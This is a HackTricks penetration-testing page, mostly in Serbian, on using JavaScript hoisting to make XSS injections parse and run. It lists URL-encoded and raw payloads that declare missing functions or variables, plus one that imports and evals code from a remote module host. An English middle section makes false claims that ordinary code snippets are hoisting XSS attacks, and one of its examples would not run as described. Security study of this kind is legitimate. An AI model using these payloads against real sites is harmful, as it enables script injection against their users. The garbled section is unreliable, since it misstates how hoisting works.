JS Hoisting

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Osnovne informacije

U JavaScript jeziku postoji mehanizam poznat kao Hoisting gde se deklaracije promenljivih, funkcija, klasa ili importa konceptualno podižu na vrh svog opsega pre izvršavanja koda. Ovaj proces automatski obavlja JavaScript engine, koji prolazi kroz skriptu u više prolaza.

Tokom prvog prolaza, engine parsira kod kako bi proverio sintaksne greške i pretvara ga u apstraktno sintaksno stablo. Ova faza uključuje hoisting, proces u kojem se određene deklaracije premeste na vrh konteksta izvršavanja. Ako faza parsiranja uspešno završi, što ukazuje na odsustvo sintaksnih grešaka, izvršavanje skripte se nastavlja.

Važno je razumeti da:

  1. Skripta mora biti bez sintaksnih grešaka da bi se izvršila. Sintaksna pravila moraju se strogo poštovati.

  2. Pozicioniranje koda unutar skripte utiče na izvršavanje zbog hoistinga, iako se izvršeni kod može razlikovati od njegovog tekstualnog prikaza.

Vrste hoistinga

Na osnovu informacija sa MDN-a, postoje četiri različite vrste hoistinga u JavaScript-u:

  1. Hoisting vrednosti: Omogućava korišćenje vrednosti promenljive unutar svog opsega pre linije deklaracije.

  2. Hoisting deklaracije: Omogućava referenciranje promenljive unutar svog opsega pre deklaracije, ali vrednost promenljive će biti undefined.

  3. Ova vrsta menja ponašanje unutar svog opsega zbog deklaracije promenljive pre stvarne linije deklaracije.

  4. Efekti deklaracije se javljaju pre ostalog koda koji je sadrži.

Detaljnije, deklaracije funkcija pokazuju ponašanje hoistinga tipa 1. Ključna reč var pokazuje ponašanje hoistinga tipa 2. Leksikalne deklaracije, koje uključuju let, const i class, pokazuju ponašanje hoistinga tipa 3. Na kraju, import naredbe su jedinstvene jer se hoistuju sa ponašanjem tipa 1 i tipa 4.

Scenariji

Dakle, ako imate scenarije gde možete ubaciti JS kod nakon korišćenja nedeklarisanog objekta, možete popraviti sintaksu tako što ćete ga deklarisati (tako da se vaš kod izvrši umesto da izbaci grešku):

// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
// You can define it in your injection to execute JS
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
'-alert(1)-''); function vulnerableFunction(a,b){return 1};

//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
test'); function vulnerableFunction(a,b){ return 1 };alert(1)
// If a variable is not defined, you could define it in the injection
// In the following example var a is not defined
function myFunction(a,b){
return 1
};
myFunction(a, '<INJECTION>')

//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
test'); var a = 1; alert(1);
// If an undeclared class is used, you cannot declare it AFTER being used
var variable = new unexploitableClass();
<INJECTION>
// But you can actually declare it as a function, being able to fix the syntax with something like:
function unexploitableClass() {
return 1;
}
alert(1);
// Properties are not hoisted
// So the following examples where the 'cookie' attribute doesn´t exist
// cannot be fixed if you can only inject after that code:
test.cookie('leo','INJECTION')
test['cookie','injection']

Još scenarija

In addition to the scenarios mentioned earlier, there are a few more scenarios where JavaScript hoisting can be exploited for XSS attacks.

1. Function Declarations

When a function declaration is hoisted, it can be used to execute arbitrary JavaScript code. This can be particularly dangerous if the function is called with user-controlled input.

<script>
    foo(); // Function declaration hoisted

    function foo() {
        alert('XSS');
    }
</script>

2. Variable Declarations

Similar to function declarations, variable declarations can also be hoisted and used to execute malicious code.

<script>
    var x = 10; // Variable declaration hoisted

    if (x === 10) {
        alert('XSS');
    }
</script>

3. Object Declarations

Hoisted object declarations can be used to execute JavaScript code as well.

<script>
    var obj = {
        method: function() {
            alert('XSS');
        }
    };

    obj.method(); // Object declaration hoisted
</script>

4. Event Handlers

Event handlers can also be exploited using JavaScript hoisting. By hoisting an event handler, an attacker can execute arbitrary code when the event is triggered.

<script>
    button.onclick = function() {
        alert('XSS');
    };

    var button = document.getElementById('myButton'); // Event handler hoisted
</script>

These additional scenarios demonstrate the versatility of JavaScript hoisting in XSS attacks. It is important to be aware of these possibilities and take appropriate measures to prevent such vulnerabilities.

// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
// You can inject
alert(1));function x(){}//
// And execute the allert with (the alert is resolved before it's detected that the "y" is undefined
x.y(1,alert(1));function x(){}//)
// Undeclared var accessing 2 nested undeclared method
x.y.z(1,INJECTION)
// You can inject
");import {x} from "https://example.com/module.js"//
// It will be executed
x.y.z("alert(1)");import {x} from "https://example.com/module.js"//")


// The imported module:
// module.js
var x = {
y: {
z: function(param) {
eval(param);
}
}
};

export { x };
// In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
// It was injected the: let config;`-alert(1)`//`
// With the goal of making in the block the var config be empty, so the return is not executed
// And the same injection was replicated in the body URL to execute an alert

try {
if(config){
return;
}
// TODO handle missing config for: https://try-to-catch.glitch.me/"+`
let config;`-alert(1)`//`+"
} catch {
fetch("/error", {
method: "POST",
body: {
url:"https://try-to-catch.glitch.me/"+`
let config;`-alert(1)-`//`+""
}
})
}

Reference

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated